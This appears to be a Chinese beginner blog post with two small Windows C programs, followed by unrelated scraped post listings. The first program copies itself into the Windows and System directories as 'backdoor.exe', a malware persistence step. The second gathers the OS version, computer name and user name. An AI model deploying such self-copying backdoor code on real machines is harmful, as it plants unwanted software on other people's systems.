用几个小API练手

1.复制自身程序到windows目录和系统目录下:

 1 #include <windows.h>
 2 #include <stdio.h>
 3 #include <string.h>
 4
 5 void CopySelf();
 6
 7 int main(){
 8     CopySelf();
 9     return 0;
10 }
11 void CopySelf(){
12     char szSelfName[MAX_PATH]={0};
13     char szWindowsPath[MAX_PATH]={0};
14     char szSystemPath[MAX_PATH]={0};
15
16     GetModuleFileName(NULL,szSelfName,MAX_PATH);
17     GetWindowsDirectory(szWindowsPath,MAX_PATH);
18     GetSystemDirectory(szSystemPath,MAX_PATH);
19
20     strcat(szWindowsPath,"\\backdoor.exe");
21     strcat(szSystemPath,"\\backdoor.exe");
22
23     CopyFile(szSelfName,szWindowsPath,FALSE);
24     CopyFile(szSelfName,szSystemPath,FALSE);
25 }

2.获得系统的相关信息:

 1 #include <windows.h>
 2 #include <stdio.h>
 3
 4 void GetSysInfo();
 5
 6 int main(){
 7     GetSysInfo();
 8     return 0;
 9 }
10 void GetSysInfo(){
11     char szComputerName[MAXBYTE]={0};
12     char szUserName[MAXBYTE]={0};
13     unsigned long nSize=MAXBYTE;
14     OSVERSIONINFO OsVer;
15
16     OsVer.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
17     GetVersionEx(&OsVer);
18
19     if(OsVer.dwPlatformId==VER_PLATFORM_WIN32_NT){
20         if(OsVer.dwMajorVersion==5&&OsVer.dwMinorVersion==1)
21             printf("Windows XP %s \r\n",OsVer.szCSDVersion);
22         else if(OsVer.dwMajorVersion==5&&OsVer.dwMinorVersion==0)
23             printf("Windows 2K \r\n");
24     }else{
25         printf("Other System \r\n");
26     }
27
28     GetComputerName(szComputerName,&nSize);
29     printf("Computer Name is %s \r\n",szComputerName);
30
31     nSize=MAXBYTE;
32     GetUserName(szUserName,&nSize);
33     printf("User Name is %s \r\n",szUserName);
34 }
时间: 2024-10-27 03:27:20

用几个小API练手的相关文章

小游戏练手2——跳房子

[游戏界面] 优酷视频展示地址: http://v.youku.com/v_show/id_XOTE2MjM2MTAw.html 游戏截图: [游戏简介] 跳房子,俗称跳飞机.修天堂,是80.90后小孩子都玩过的童年游戏.希望通过这款手机游戏能让大家找回童年的美好回忆. 本游戏基本模拟现实中跳房子游戏的玩法,需要玩家对方向及力度有一定的把控.比如扔沙包的时候需要判断箭头方向.控制按钮力度,将它扔到红色区域:之后跳格子的时候,需要控制每一步的力度,玩起来还是很虐心的(美好的回忆总是痛嘛). 谨以此

小游戏练手1——雷速小子

[游戏界面] 优酷视频展示地址: http://v.youku.com/v_show/id_XNzE5NzI0NDAw.html 游戏截图: [游戏简单介绍] <雷速小子>火爆登场! 各位亲爱的玩家是否在flappy bird中被管道虐得非常慘,复仇的机会来了!<雷速小子>是一款休闲益智游戏.您能拖动小鸟的突击,吃掉道具.变身暴走的雷速小子.将深深伤害过你的管道通通消灭掉! 伴随着激昂的音乐,随着关卡提升,管道的速度也将提升.游戏精彩刺激.快来操纵<雷速小子>向管道发起

【辅助程序】练手小程序:记录外网动态IP地址

练手小程序 程序作用:对IP实时记录: 1.定时获取外网IP,存储在本地文件中: 编写思路: 1)收集获取外网的API接口 http://bbs.125.la/thread-13838979-1-1.html 2)定时执行 http://blog.csdn.net/imzoer/article/details/8699083/ 4)记录本地文件 1 # -*- coding: utf-8 -*- 2 # -*- coding: gbk -*- 3 # Date: 2016/4/27 4 # Cr

WEBGL学习笔记(七):实践练手1-飞行类小游戏之游戏控制

接上一节,游戏控制首先要解决的就是碰撞检测了 这里用到了学习笔记(三)射线检测的内容了 以鸟为射线原点,向前.上.下分别发射3个射线,射线的长度较短大概为10~30. 根据上一节场景的建设,我把y轴设为前进方向,z轴设为高度~ 如果射线返回有结果,那么说明鸟遇到了障碍物.代码如下: var raycaster1 = new THREE.Raycaster(birdmesh.position, new THREE.Vector3(0, 1, 0), 0, 30) var raycaster2 =

练手小项目(2)-生活小助手--周公解梦

第一篇 练手小项目(2)-生活小助手--身份证查询 第二篇 练手小项目(2)-生活小助手--星座运势查询 我在想就是第三个药品查询要不要写出来,因为布局还在讨论用什么展示,因为药品有很多展示,我也不知道用什么展示. 这是一个很纠结的事情 我就先写第四个吧 周公解梦 其中代码有点错误我想用for循环进行判断返回数据有几个 但是总是失败,如果有看本篇贴子,解决了,给我留个言,在这篇帖子我只显示一个结果 布局跟简单的说 一个Edittext 获取数据,然后button进行数据提取发送到服务器 返回的数

练手小项目(2)-生活小助手--星座运势查询

上一篇内容 练手小项目(2)-生活小助手 今天星期一.趁着中午的歇息时间把 第二个写出来 星座运势,近期看看极客学院 用聚合数据做了天气预报的视频教程,不好评价他.看他在后面的代码变更那么大,我就知道,后面肯定做不下去,于是.就改代码了.代码变更那么大,有几个人会去理解,还不如我自己写................ 先看布局 点击去就是一个spinner 用几个textview显示查询内容   布局有点丑,主要是给别人做功能,UI我就不考虑 关于UI  我还是要贴下代码.假设你有想法就把他美化

练手WPF(三)——扫雷小游戏的简易实现(中)

原文:练手WPF(三)--扫雷小游戏的简易实现(中) 八.随机布雷 /// <summary> /// 随机布地雷 /// </summary> /// <param name="mineNum">地雷数</param> private void SetRndMine(int mineNum) { for (int k = 0; k < mineNum; k++) { int nullnum = 0; for (int j = 0;

java客房管理小项目,适合java小白练手的项目!

java客房管理小项目 这个客房管理小项目,适合java初学者练手.功能虽然不多,但是内容很齐全! 喜欢这样文章的可以关注我,我会持续更新,你们的关注是我更新的动力!需要更多java学习资料的也可以私信我! 祝关注我的人都:身体健康,财源广进,福如东海,寿比南山,早生贵子,从不掉发!共有5层,每层10间客房,以数字101--509标示:具有入住,退房,搜索,退出四个简单功能: public class Hotel { static final int floor = 5; static fina

java客房管理小项目,适合小白练手

java客房管理小项目这个客房管理小项目,适合java初学者练手.功能虽然不多,但是内容很齐全!喜欢这样文章的可以关注我,我会持续更新,你们的关注是我更新的动力!需要更多java学习资料的也可以私信我!共有5层,每层10间客房,以数字101--509标示:具有入住,退房,搜索,退出四个简单功能:public class Hotel {static final int floor = 5;static final int order = 10;private static int countFlo